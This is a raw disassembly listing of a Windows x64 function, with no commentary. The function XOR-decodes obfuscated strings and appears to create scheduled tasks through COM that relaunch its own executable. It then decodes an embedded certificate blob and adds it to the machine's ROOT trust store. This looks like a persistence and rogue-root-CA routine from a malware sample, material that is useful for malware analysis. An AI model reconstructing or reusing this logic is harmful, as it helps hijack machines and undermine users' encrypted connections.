call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov r12d, dword [rbp + 8]
mov rax, qword [rbp - 0x80]
test rax, rax
je 0x140004f48
mov edx, 0x2c0
mov rcx, rax
call fcn.14000b054
mov rcx, qword [rbp + 0x60]
test rcx, rcx
je 0x140004fb4
mov rdx, qword [rbp + 0x68]
call fcn.140009580
mov r8, qword [rbp + 0x60]
movabs rax, 0x3759f22983759f23
mov rcx, qword [rbp + 0x70]
sub rcx, r8
imul rcx
sar rdx, 6
mov rax, rdx
shr rax, 0x3f
add rdx, rax
mov rax, r8
imul rdx, rdx, 0x128
cmp rdx, 0x1000
jb 0x140004fac
mov r8, qword [r8 - 8]
add rdx, 0x27
sub rax, r8
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005e26
mov rcx, r8
call fcn.14000b054
movdqa xmm0, xmmword [0x14021b660]
lea rdx, str.FQATERcfHRwGch4zJzwxOjcg
mov r8d, 0x18
mov byte [rbp + 0x30], 0
lea rcx, [rbp + 0x30]
movdqu xmmword [rbp + 0x40], xmm0
call fcn.140002c20
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x60]
call fcn.140002330
mov rbx, rax
lea rax, [rbp - 0x20]
cmp rax, rbx
je 0x14000505d
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x14000502f
mov rcx, qword [rbp - 0x20]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000502a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005e38
call fcn.14000b054
mov qword [rbp - 0x10], rsi
mov qword [rbp - 8], 0xf
mov byte [rbp - 0x20], 0
movups xmm0, xmmword [rbx]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp - 0x10], xmm1
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rdx, qword [rbp + 0x78]
cmp rdx, 0x10
jb 0x140005098
mov rcx, qword [rbp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005093
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005e38
call fcn.14000b054
mov rdx, qword [rbp + 0x48]
movdqa xmm0, xmmword [0x14021b660]
mov byte [rbp + 0x60], 0
movdqu xmmword [rbp + 0x70], xmm0
cmp rdx, 0x10
jb 0x1400050e4
mov rcx, qword [rbp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400050df
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005e38
call fcn.14000b054
cmp qword [rbp - 8], 0x10
lea rdx, [rbp - 0x20]
mov r8, qword [rbp - 0x10]
lea rcx, [rbp + 0x10]
cmovae rdx, qword [rbp - 0x20]
call fcn.140002c20
cmp qword [rbp - 0x10], 0
mov r11d, esi
movabs r13, 0xaaaaaaaaaaaaaaab
jbe 0x14000516c
mov r10, rsi
mov r9, rsi
nop dword [rax]
cmp qword [rbp - 8], 0x10
lea r8, [rbp - 0x20]
lea rcx, [rbp + 0x10]
mov rax, r13
cmovae r8, qword [rbp - 0x20]
lea r10, [r10 + 1]
cmp qword [rbp + 0x28], 0x10
cmovae rcx, qword [rbp + 0x10]
inc r11d
mul r9
shr rdx, 1
lea rax, [rdx + rdx*2]
sub r9, rax
movzx eax, byte [rsp + r9 + 0x60]
xor al, byte [r10 + r8 - 1]
mov byte [r10 + rcx - 1], al
movsxd r9, r11d
cmp r9, qword [rbp - 0x10]
jb 0x140005120
cmp qword [rbp + 0x28], 0x10
lea rdx, [rbp + 0x10]
mov rdi, qword [rbp + 0x20]
lea rbx, [rbp + 0x10]
cmovae rdx, qword [rbp + 0x10]
movdqa xmm0, xmmword [0x14021b650]
add rdi, rdx
cmp qword [rbp + 0x28], 0x10
mov rdx, rdi
movdqu xmmword [rbp + 0xb8], xmm0
cmovae rbx, qword [rbp + 0x10]
sub rdx, rbx
mov word [rbp + 0xa8], si
cmp rdx, 8
jb 0x1400051c5
lea rcx, [rbp + 0xa8]
call fcn.140009da0
mov qword [rbp + 0xb8], rsi
mov r8, rdi
lea rcx, [rbp + 0xa8]
mov rdx, rbx
call fcn.140009a30
movdqa xmm0, xmmword [0x14021b660]
lea rdx, str.FQATERcfHRwG
mov r8d, reloc.OLEAUT32.dll_VariantTimeToDosDateTime
mov byte [rbp + 0x30], 0
lea rcx, [rbp + 0x30]
movdqu xmmword [rbp + 0x40], xmm0
call fcn.140002c20
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x60]
call fcn.140002330
mov rbx, rax
lea rax, [rbp - 0x20]
cmp rax, rbx
je 0x140005280
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x140005252
mov rcx, qword [rbp - 0x20]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000524d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005dfc
call fcn.14000b054
mov qword [rbp - 0x10], rsi
mov qword [rbp - 8], 0xf
mov byte [rbp - 0x20], 0
movups xmm0, xmmword [rbx]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp - 0x10], xmm1
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rdx, qword [rbp + 0x78]
cmp rdx, 0x10
jb 0x1400052bb
mov rcx, qword [rbp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400052b6
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005dfc
call fcn.14000b054
mov rdx, qword [rbp + 0x48]
movdqa xmm0, xmmword [0x14021b660]
mov byte [rbp + 0x60], 0
movdqu xmmword [rbp + 0x70], xmm0
cmp rdx, 0x10
jb 0x140005307
mov rcx, qword [rbp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005302
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005dfc
call fcn.14000b054
cmp qword [rbp - 8], 0x10
lea rdx, [rbp - 0x20]
mov r8, qword [rbp - 0x10]
lea rcx, [rbp + 0x10]
cmovae rdx, qword [rbp - 0x20]
call fcn.140002c20
cmp qword [rbp - 0x10], 0
mov r11d, esi
jbe 0x14000538c
mov r10, rsi
mov r9, rsi
nop dword [rax]
nop word [rax + rax]
cmp qword [rbp - 8], 0x10
lea r8, [rbp - 0x20]
lea rcx, [rbp + 0x10]
mov rax, r13
cmovae r8, qword [rbp - 0x20]
lea r10, [r10 + 1]
cmp qword [rbp + 0x28], 0x10
cmovae rcx, qword [rbp + 0x10]
inc r11d
mul r9
shr rdx, 1
lea rax, [rdx + rdx*2]
sub r9, rax
movzx eax, byte [rsp + r9 + 0x60]
xor al, byte [r10 + r8 - 1]
mov byte [r10 + rcx - 1], al
movsxd r9, r11d
cmp r9, qword [rbp - 0x10]
jb 0x140005340
cmp qword [rbp + 0x28], 0x10
lea rdx, [rbp + 0x10]
mov rdi, qword [rbp + 0x20]
lea rbx, [rbp + 0x10]
cmovae rdx, qword [rbp + 0x10]
movdqa xmm0, xmmword [0x14021b650]
add rdi, rdx
cmp qword [rbp + 0x28], 0x10
mov rdx, rdi
movdqu xmmword [rbp + 0xd8], xmm0
cmovae rbx, qword [rbp + 0x10]
sub rdx, rbx
mov word [rbp + 0xc8], si
cmp rdx, 8
jb 0x1400053e5
lea rcx, [rbp + 0xc8]
call fcn.140009da0
mov qword [rbp + 0xd8], rsi
mov r8, rdi
lea rcx, [rbp + 0xc8]
mov rdx, rbx
call fcn.140009a30
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
jne 0x140005d64
lea rax, [rbp]
mov qword [rbp], rsi
mov r15d, 1
mov qword [rsp + 0x20], rax
mov r8d, r15d
lea r9, [0x140210e68]
xor edx, edx
lea rcx, [0x140210e58]
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jne 0x14000547e
lea rcx, [rbp + 0xa8]
mov qword [rbp - 0x80], rsi
call fcn.1400083e0
mov rcx, qword [rbp]
lea r9, [rbp - 0x80]
lea r8, [0x140210e78]
mov rdx, rax
mov r10, qword [rcx]
call qword [r10 + 0x30]
test eax, eax
jne 0x14000547e
lea rcx, [rbp + 0xa8]
call fcn.1400083e0
mov rcx, qword [rbp]
mov rdx, rax
mov r8, qword [rcx]
call qword [r8 + 0x38]
mov rcx, qword [rbp]
test rcx, rcx
je 0x14000548d
mov rax, qword [rcx]
call qword [rax + 0x10]
lea rax, [rbp]
mov qword [rbp], rsi
lea r9, [0x140210e68]
mov qword [rsp + 0x20], rax
mov r8d, r15d
lea rcx, [0x140210e58]
xor edx, edx
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jne 0x1400054fe
lea rcx, [rbp + 0xc8]
mov qword [rbp - 0x80], rsi
call fcn.1400083e0
mov rcx, qword [rbp]
lea r9, [rbp - 0x80]
lea r8, [0x140210e78]
mov rdx, rax
mov r10, qword [rcx]
call qword [r10 + 0x30]
test eax, eax
jne 0x1400054fe
lea rcx, [rbp + 0xc8]
call fcn.1400083e0
mov rcx, qword [rbp]
mov rdx, rax
mov r8, qword [rcx]
call qword [r8 + 0x38]
mov rcx, qword [rbp]
test rcx, rcx
je 0x14000550d
mov rax, qword [rcx]
call qword [rax + 0x10]
test r12d, r12d
je 0x14000551d
call qword [sym.imp.ole32.dll_CoUninitialize]
jmp 0x140005d64
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140005540
mov r8d, 0x208
lea rdx, [rbp + 0x880]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rdx, [rbp + 0xe8]
mov dword [rbp + 0xe8], 0x101
lea rcx, [rbp + 0x670]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
lea rax, [rbp - 0x78]
mov qword [rbp - 0x70], rsi
lea r9, [0x140210e68]
mov qword [rsp + 0x20], rax
mov r8d, r15d
mov qword [rsp + 0x68], rsi
xor edx, edx
mov qword [rbp - 0x78], rsi
lea rcx, [0x140210e58]
mov qword [rsp + 0x70], rsi
call qword [sym.imp.ole32.dll_CoCreateInstance]
mov r14d, gethostbyname
test eax, eax
jne 0x140005814
lea rcx, [rbp + 0xa8]
call fcn.1400083e0
mov rcx, qword [rbp - 0x78]
lea r9, [rsp + 0x70]
lea r8, [0x140210e78]
mov rdx, rax
mov r10, qword [rcx]
call qword [r10 + 0x30]
test eax, eax
je 0x140005814
lea rcx, [rbp + 0xa8]
call fcn.1400083e0
mov rcx, qword [rbp - 0x78]
lea rdx, [rsp + 0x70]
mov qword [rsp + 0x20], rdx
lea r9, [0x140210e78]
lea r8, [0x140210e48]
mov rdx, rax
mov r10, qword [rcx]
call qword [r10 + 0x40]
test eax, eax
jne 0x140005814
mov rcx, qword [rsp + 0x70]
lea r8, [rsp + 0x68]
lea rdx, [0x140210e78]
mov rax, qword [rcx]
call qword [rax]
test eax, eax
jne 0x140005814
mov rcx, qword [rsp + 0x70]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x68]
lea rdx, [rbp + 0x880]
mov qword [rsp + 0x70], rsi
mov rax, qword [rcx]
call qword [rax + 0x100]
test eax, eax
jne 0x140005814
lea rcx, [rbp + 0x130]
call fcn.1400083e0
mov rcx, qword [rsp + 0x68]
mov rdx, rax
mov r8, qword [rcx]
call qword [r8 + 0x110]
test eax, eax
jne 0x140005814
mov rcx, qword [rsp + 0x68]
lea rdx, [0x140219778]
mov rax, qword [rcx]
call qword [rax + pe_nt_image_headers64]
test eax, eax
jne 0x140005814
mov rcx, qword [rsp + 0x68]
mov edx, 0x2000
mov rax, qword [rcx]
call qword [rax + 0xe0]
mov rcx, qword [rsp + 0x68]
lea rdx, [rbp + 0x670]
xor r8d, r8d
mov rax, qword [rcx]
call qword [rax + 0xf0]
test eax, eax
jne 0x140005814
mov rcx, qword [rsp + 0x68]
lea rdx, [0x14021b5cc]
mov rax, qword [rcx]
call qword [rax + 0x90]
test eax, eax
jne 0x140005814
mov rcx, qword [rsp + 0x68]
mov edx, 0x2003
mov rax, qword [rcx]
call qword [rax + 0xe0]
test eax, eax
jne 0x140005814
movzx edi, r15w
lea ebx, [rax + 5]
nop dword [rax + rax]
mov rcx, qword [rsp + 0x68]
lea r8, [rbp - 0x80]
lea rdx, [rsp + 0x78]
mov rax, qword [rcx]
call qword [rax + 0x18]
test eax, eax
js 0x1400057d4
xor eax, eax
lea rcx, [rbp + 0x90]
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rax
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rax
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rax
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
lea rdx, [rbp]
lea rcx, [rbp + 0x90]
call qword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
movzx eax, di
lea rdx, [rbp + 0x90]
imul rcx, rax, 0x23c34600
add di, 2
add qword [rbp], rcx
lea rcx, [rbp]
call qword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
movzx eax, word [rbp + 0x96]
lea rdx, [rbp + 0x30]
mov rcx, qword [rbp - 0x80]
mov word [rbp + 0x38], ax
movzx eax, word [rbp + 0x92]
mov word [rbp + 0x36], ax
movzx eax, word [rbp + 0x90]
mov word [rbp + 0x34], ax
movzx eax, word [rbp + 0x98]
mov word [rbp + 0x40], ax
movzx eax, word [rbp + 0x9a]
mov word [rbp + 0x42], ax
mov word [rbp + 0x30], r14w
mov dword [rbp + 0x50], esi
mov rax, qword [rcx]
call qword [rax + 0x18]
mov rcx, qword [rbp - 0x80]
test rcx, rcx
je 0x1400057e3
mov rax, qword [rcx]
call qword [rax + 0x10]
sub rbx, r15
jne 0x140005710
mov rcx, qword [rsp + 0x68]
lea r8, [rbp - 0x70]
lea rdx, [0x140210c48]
mov rax, qword [rcx]
call qword [rax]
test eax, eax
js 0x140005814
mov rcx, qword [rbp - 0x70]
xor r8d, r8d
xor edx, edx
mov rax, qword [rcx]
call qword [rax + 0x30]
mov rcx, qword [rbp - 0x70]
test rcx, rcx
je 0x140005823
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x68]
mov qword [rbp - 0x70], rsi
test rcx, rcx
je 0x140005837
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp - 0x78]
mov qword [rsp + 0x68], rsi
test rcx, rcx
je 0x14000584b
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x70]
mov qword [rbp - 0x78], rsi
test rcx, rcx
je 0x14000585f
mov rax, qword [rcx]
call qword [rax + 0x10]
lea rax, [rbp - 0x78]
mov qword [rsp + 0x70], rsi
lea r9, [0x140210e68]
mov qword [rsp + 0x20], rax
mov r8d, r15d
lea rcx, [0x140210e58]
xor edx, edx
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jne 0x140005b86
lea rcx, [rbp + 0xc8]
call fcn.1400083e0
mov rcx, qword [rbp - 0x78]
lea r9, [rsp + 0x70]
lea r8, [0x140210e78]
mov rdx, rax
mov r10, qword [rcx]
call qword [r10 + 0x30]
test eax, eax
je 0x140005b86
lea rcx, [rbp + 0xc8]
call fcn.1400083e0
mov rcx, qword [rbp - 0x78]
lea r9, [rsp + 0x70]
mov qword [rsp + 0x20], r9
lea r8, [0x140210e48]
lea r9, [0x140210e78]
mov rdx, rax
mov r10, qword [rcx]
call qword [r10 + 0x40]
test eax, eax
jne 0x140005b86
mov rcx, qword [rsp + 0x70]
lea r8, [rsp + 0x68]
lea rdx, [0x140210e78]
mov rax, qword [rcx]
call qword [rax]
test eax, eax
jne 0x140005b86
mov rcx, qword [rsp + 0x70]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x68]
lea rdx, [rbp + 0x880]
mov qword [rsp + 0x70], rsi
mov rax, qword [rcx]
call qword [rax + 0x100]
test eax, eax
jne 0x140005b86
lea rcx, [rbp + 0x110]
call fcn.1400083e0
mov rcx, qword [rsp + 0x68]
mov rdx, rax
mov r8, qword [rcx]
call qword [r8 + 0x110]
test eax, eax
jne 0x140005b86
mov rcx, qword [rsp + 0x68]
lea rdx, [0x140219778]
mov rax, qword [rcx]
call qword [rax + pe_nt_image_headers64]
test eax, eax
jne 0x140005b86
mov rcx, qword [rsp + 0x68]
mov edx, 0x2000
mov rax, qword [rcx]
call qword [rax + 0xe0]
mov rcx, qword [rsp + 0x68]
lea rdx, [rbp + 0x670]
xor r8d, r8d
mov rax, qword [rcx]
call qword [rax + 0xf0]
test eax, eax
jne 0x140005b86
mov rcx, qword [rsp + 0x68]
lea rdx, [0x14021b5cc]
mov rax, qword [rcx]
call qword [rax + 0x90]
test eax, eax
jne 0x140005b86
mov rcx, qword [rsp + 0x68]
mov edx, 0x2001
mov rax, qword [rcx]
call qword [rax + 0xe0]
test eax, eax
jne 0x140005b86
mov rcx, qword [rsp + 0x68]
lea r8, [rbp]
lea rdx, [rsp + 0x78]
mov rax, qword [rcx]
call qword [rax + 0x18]
mov edi, 0x7cf
test eax, eax
js 0x140005a54
mov rcx, qword [rbp]
lea rdx, [rbp + 0x60]
xor eax, eax
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rax
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rax
mov qword [rbp + 0x88], rax
mov word [rbp + 0x60], r14w
mov dword [rbp + 0x66], 0x10001
mov word [rbp + 0x64], di
mov dword [rbp + 0x80], 7
mov rax, qword [rcx]
call qword [rax + 0x18]
mov rcx, qword [rbp]
test rcx, rcx
je 0x140005a63
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x68]
lea r8, [rbp]
lea rdx, [rsp + 0x78]
mov rax, qword [rcx]
call qword [rax + 0x18]
test eax, eax
js 0x140005ac3
mov rcx, qword [rbp]
lea rdx, [rbp + 0x60]
xor eax, eax
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rax
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rax
mov qword [rbp + 0x88], rax
mov word [rbp + 0x60], r14w
mov dword [rbp + 0x66], 0x10001
mov word [rbp + 0x64], di
mov dword [rbp + 0x80], 5
mov rax, qword [rcx]
call qword [rax + 0x18]
mov rcx, qword [rbp]
test rcx, rcx
je 0x140005ad2
mov rax, qword [rcx]
call qword [rax + 0x10]
mov ebx, esi
mov rcx, qword [rsp + 0x68]
lea r8, [rbp + 0x90]
mov qword [rbp + 0x90], rsi
lea rdx, [rbp + 8]
mov rax, qword [rcx]
call qword [rax + 0x18]
test eax, eax
js 0x140005b5e
mov rcx, qword [rbp + 0x90]
lea rdx, [rbp + 0x30]
xor eax, eax
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x38], rax
mov qword [rbp + 0x48], rax
mov qword [rbp + 0x58], rax
mov dword [rbp + 0x36], 0x10001
mov word [rbp + 0x34], di
mov word [rbp + 0x30], r14w
mov word [rbp + 0x40], bx
mov word [rbp + 0x42], si
mov dword [rbp + 0x50], r15d
mov word [rbp + 0x54], r15w
mov rax, qword [rcx]
call qword [rax + 0x18]
mov rcx, qword [rbp + 0x90]
test rcx, rcx
je 0x140005b53
mov rax, qword [rcx]
call qword [rax + 0x10]
inc ebx
cmp ebx, 0x19
jl 0x140005ad4
mov rcx, qword [rsp + 0x68]
lea r8, [rbp - 0x70]
lea rdx, [0x140210c48]
mov rax, qword [rcx]
call qword [rax]
test eax, eax
js 0x140005b86
mov rcx, qword [rbp - 0x70]
xor r8d, r8d
xor edx, edx
mov rax, qword [rcx]
call qword [rax + 0x30]
mov rcx, qword [rbp - 0x70]
test rcx, rcx
je 0x140005b95
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x68]
mov qword [rbp - 0x70], rsi
test rcx, rcx
je 0x140005ba9
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp - 0x78]
mov qword [rsp + 0x68], rsi
test rcx, rcx
je 0x140005bbd
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x70]
mov qword [rbp - 0x78], rsi
test rcx, rcx
je 0x140005bd1
mov rax, qword [rcx]
call qword [rax + 0x10]
lea rdx, [0x1402195b0]
mov qword [rsp + 0x70], rsi
lea rcx, [rbp + 0x150]
call fcn.140002be0
lea rdx, str.YtBRq2LQULPyUVBTUFBbUuSzaHZyOZIYl9UW3jUGtSlX1NTV1dSYi9jWWJbVFEHVlRBUBseY0NiXVRRB1ZaQVoVJyE6chYzPGNAYkJUUQdWVUFbGjcgJig7PjszY3NiTVRRB1ZYQUoVIDc3PAY3Mz9yGzwmNyA8NyZch4mNnxjXmJYVFEHVllBUQU3MGNEYkZUUQdWUUFfMT49JzY1JzMgNnw_N2JMRV9jZmJlYGFjZWBnY2cIRV9mZmJlY2djZWBnY2cIYi9jWWJbVFEHVlRBUBseY0NiXVRRB1ZaQVoVJyE6chYzPGNAYkJUUQdWVUFbGjcgJig7PjszY3NiTVRRB1ZYQUoVIDc3PAY3Mz9yGzwmNyA8NyZch4mNnxjXmJYVFEHVllBUQU3MGNEYkZUUQdWUUFfMT49JzY1JzMgNnw_N2LQU3BiX1RbeNQa1KVfU1NTV1JR0FNdUmLQU1hQ0FNTUuzTsIm0Erqa7Uy8ykspY1EEDfb1Ymhm96G_mnRs7Qxp195907hDjwlZ_ssRH9Aw4CEHhn84P4V863nVJNZ_qmZCigMyNpNNqdL59Zhi96D1kUbznDGG8ngLCfspWEOAZjSZrnEEE2yF7EsJimqeK3tkcqEk_5fhQVkB03rCaRPVzejVD6WN1RwP2uzCm69MCM5EBc16sD4LmjM_s_7tV3mlFUPyankuPtgoWP0BTXp9mfXrR8uRpyc4sSreJ6QV82Is05AkexmPUxnsE6LV8qgcfSllwySKc8DTK9Ox7ujlHg_l_v3fQGNZyOmX0U7rNhx3L7MWsYZ7c45dVQUVNSU_EuYihiQFRRB09BU1OtVlpiVFNTrVBTUmJDVFsy1BpT1KoQU1NWVlFQUFZiWVRRB09dVlZRUFNUYk9UUQdPd1ZEYkZUWnlUU1dXVVFTVFp5VFNXV1VRUGJ3VFsy1BpT1KoQU19WSkREHSI3PAEBHnIRE3IRNyAmOzQ7MTMmN2JfVFt41BrUpV9TU1dXUlHQU1NS2Q5IcL61dlEdbYfsVZPIIjhVPJmOzyvKUo5OvUBJLpOxc86Y0O9KSh3nzUiK5oIxpzvy45c4S5aK_1HWmZr98vd4gXCkFC_DFzlk_a4BdCflRciSTVDfz0Yqc_NrjLNNOoaSI7LBIBKDTunTlsIobzORwmfPZG9UbjEViWWRmTM7glT6rABDFVO0VEdZOLT8cqrK7P5LV4zU6kROFj0pai8kJhhEvoOg02thNM7rrLC_AKHwDAIE4Kgjsy4jddnfvyNU21PvvIRY_GNepgc_LMN3Roxv3EAJfVSJmt2ztk_dNldWPu_82BnB_jkgWQlZcbxeorrqlZ0XcQyA
lea rcx, [rbp + 0x30]
call fcn.140002be0
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x60]
call fcn.140002330
mov rdx, rax
lea rcx, [rbp - 0x20]
call fcn.1400084c0
lea rcx, [rbp + 0x60]
call fcn.140002b80
lea rcx, [rbp + 0x30]
call fcn.140002b80
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x10]
call fcn.140008490
cmp qword [rbp - 0x10], 0
mov r10d, esi
jbe 0x140005c82
mov r9, rsi
nop
mov rdx, r9
lea rcx, [rbp - 0x20]
call fcn.140008470
lea rcx, [rbp + 0x10]
mov r8, rax
call fcn.140008470
mov rcx, rax
inc r10d
mov rax, r13
mul r9
shr rdx, 1
lea rax, [rdx + rdx*2]
sub r9, rax
movzx eax, byte [rsp + r9 + 0x60]
xor al, byte [r8]
movsxd r9, r10d
mov byte [rcx], al
cmp r9, qword [rbp - 0x10]
jb 0x140005c40
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x150]
call fcn.140008490
xor eax, eax
mov qword [rbp - 0x68], rsi
mov qword [rbp - 0x60], rax
lea rcx, [rbp + 0x150]
mov qword [rbp - 0x58], rax
mov eax, dword [rbp + 0x160]
mov dword [rbp - 0x60], eax
call fcn.140008460
mov qword [rbp - 0x58], rax
lea rdx, [rbp - 0x60]
lea rax, [rbp - 0x68]
mov r8d, 2
mov qword [rsp + 0x50], rax
mov r9d, 0xe
mov qword [rsp + 0x48], rsi
mov ecx, r8d
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
call qword [sym.imp.CRYPT32.dll_CryptQueryObject]
test eax, eax
je 0x140005d52
xor edx, edx
lea rax, str.ROOT
mov r9d, 0x24000
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea ecx, [rdx + 0xa]
call qword [sym.imp.CRYPT32.dll_CertOpenStore]
mov rbx, rax
test rax, rax
je 0x140005d43
mov rdx, qword [rbp - 0x68]
xor r9d, r9d
mov rcx, rax
lea r8d, [r9 + 4]
call qword [sym.imp.CRYPT32.dll_CertAddCertificateContextToStore]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.CRYPT32.dll_CertCloseStore]
mov rcx, qword [rbp - 0x68]
test rcx, rcx
je 0x140005d52
call qword [sym.imp.CRYPT32.dll_CertFreeCertificateContext]
call qword [sym.imp.ole32.dll_CoUninitialize]
lea rcx, [rbp + 0x150]
call fcn.140002b80
lea rcx, [rbp + 0xc8]
call fcn.1400083f0
lea rcx, [rbp + 0xa8]
call fcn.1400083f0
lea rcx, [rbp + 0x130]
call fcn.1400083f0
lea rcx, [rbp + 0xf0]
call fcn.140002b80
lea rcx, [rbp + 0x110]
call fcn.1400083f0
lea rcx, [rbp + 0x170]
call fcn.140002b80
lea rcx, [rbp + 0x10]
call fcn.140002b80
lea rcx, [rbp - 0x20]
call fcn.140002b80
mov r13, qword [rsp + 0xbe8]
mov eax, esi
mov r12, qword [rsp + 0xbe0]
mov rdi, qword [rsp + 0xbd8]
mov r14, qword [rsp + 0xba0]
mov rcx, qword [rbp + 0xa90]
xor rcx, rsp
call fcn.14018d9a0
add rsp, 0xba8
pop r15
pop rsi
pop rbx
pop rbp
ret
call fcn.140191fc4
int3
call fcn.140191fc4
int3
call fcn.140191fc4
int3
call fcn.140191fc4
int3
call fcn.140191fc4
int3
call fcn.140191fc4
int3
call fcn.140191fc4
int3
call fcn.140191fc4
int3
call fcn.140191fc4
int3
call fcn.140191fc4
int3
call fcn.140191fc4
int3